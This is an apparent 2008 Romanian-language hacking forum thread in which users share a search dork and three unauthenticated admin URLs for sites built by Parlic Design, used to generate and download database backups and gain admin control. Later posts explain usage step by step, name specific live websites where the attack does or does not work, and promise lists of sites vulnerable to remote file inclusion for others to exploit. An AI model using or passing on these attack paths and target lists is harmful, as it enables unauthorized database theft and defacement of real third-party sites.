Parlic Design Vuln

[paxnWo]

#####################
# Discovered by: paxnwo      
# Mail: paxnwo@yahoo.com  
# 26.oct.2008                   
#####################
(x)------------------------------------------------------------------------------------(x)
~| D0rk: design and developed by Parlic Design
~| Exploit1: /admin/backup/backup.php 
<!-- creates a backup of the db and provides you its name. eg : 26-10-2008 01-35.sql -->
~| Exploit2: /admin/backup/dump/db-backup-name.sql
   ~| Usage: www.site.com/admin/backup/dump/26-10-2008 01-35.sql
~| Exploit3: /admin/backup/list.php
<!-- lists the avaible backups. you are now loged in as admin; you can change the content -->
(x)------------------------------------------------------------------------------------(x)

nu e mare lucru puteam sa postez la show-off toate site-urile create de Parlic Design si vai ce mare hacker sunt eu

ca sa studiati contentul /admin/ , am gasit un site tot de la Parlic Design care nu e protejat: Index of /admin .

pe langa faptul ca puteti sa puneti mana pe baza lor de date, pe unele merge sa si modificati contentul . jucati-va si o sa mearga .

[xZu]

hhh, am gasit si eu acelas lucru...nu sunt sigur daca inaintea ta...oricum nu conteaza

http://rstcenter.com/forum/12558-scvladimirci-org.rst

edit: good work

[paxnWo]

am mai adaugat exploit3 ... astia dau bani frumosi, cred, ca sa aiba un site ... dar care e buguit

[nsilviu]

Spunetimi si mie pls cum il folositi acest cod de mai sus unde il puneti pe localhost? sau undeva si cum faceti cu el ? pls

[a13x4nd7u]

Daca gasesti un site de la Parlic Design poti folosi exploiturile lui paxnWo.

Usage exploit1: www.site.com/admin/backup/backup.php
Usage exploit2: www.site.com/admin/backup/dump/26-10-2008 01-35.sql
Usage exploit3: www.site.com/admin/backup/list.php

Bravo paxnWo!

[nsilviu]

Multumesc forte mult tot asa il probisem si yo dar nu merge pe toate site-urile si am crezut ca nu fac bine multumesc si lui a13x4nd7u ca a explicat ....De mentionat: Merge dar nu pe toate de ex: http://www.buldog-klub.si dar si merge pe altele ca de ex: http://www.liderdirektor.com/ Bravo paxnWo daca mai ai mai posteaza

[paxnWo]

thanks o sa incep sa postez site-uri vulnerabile rfi . va dau lista , voi va jucati

[Vlachs]

bravo pax vad ca incepi sa te implici

edited: <title>Untitled Document</title>

astea sunt cica pagini php

Edited November 26, 2008 by Vlachs
:))